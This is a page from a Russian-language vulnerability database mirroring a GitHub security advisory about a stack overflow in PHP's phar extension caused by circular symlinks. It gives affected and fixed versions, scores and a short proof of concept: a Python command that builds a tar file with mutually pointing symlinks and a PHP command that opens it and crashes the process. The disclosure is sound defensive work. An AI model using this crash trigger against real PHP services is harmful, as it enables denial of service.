Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-vc5h-9ppw-p5f3

Опубликовано: 30 июл. 2026
Источник: github
Github: Не прошло ревью
CVSS3: 5.5

Описание

Stack overflow in phar with circular symlinks

phar_get_link_source() in ext/phar/util.c recursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process.

https://github.com/php/php-src/blob/cbc0489126a7682796aad1e5fb4e51de74af162c/ext/phar/util.c#L60-L82

python3 -c " import tarfile with tarfile.open('circular_symlinks.tar', 'w') as tar: a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a) b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b) " php -r ' $p = new PharData("circular_symlinks.tar"); $p["file_a"]->getContent(); ' # Expected: Segmentation fault (stack overflow)

Credit

Calvin Young - eWalker Consulting (HK) Limited Enoch Chow - Isomorph Cyber

Пакеты

Наименование

php

php
Затронутые версииВерсия исправления

>=8.2.0, <8.2.33

8.2.33

Наименование

php

php
Затронутые версииВерсия исправления

>=8.3.0, <8.3.33

8.3.33

Наименование

php

php
Затронутые версииВерсия исправления

>=8.4.0, <8.4.24

8.4.24

Наименование

php

php
Затронутые версииВерсия исправления

>=8.5.0, <8.5.9

8.5.9

EPSS

Процентиль: 6%
0.00168
Низкий

5.5 Medium

CVSS3

Дефекты

CWE-400
CWE-674

Связанные уязвимости

ubuntu
4 дня назад

(Circular symbolic links in phar archives could lead to unbounded recur ...)

nvd
4 дня назад

Circular symbolic links in phar archives could lead to unbounded recursion, exhausting the C stack and crashing the PHP process, in PHP versions from 8.2.* before 8.2.33, from 8.3.* before 8.3.33, from 8.4.* before 8.4.24, and from 8.5.* before 8.5.9.

debian
4 дня назад

Circular symbolic links in phar archives could lead to unbounded recur ...

EPSS

Процентиль: 6%
0.00168
Низкий

5.5 Medium

CVSS3

Дефекты

CWE-400
CWE-674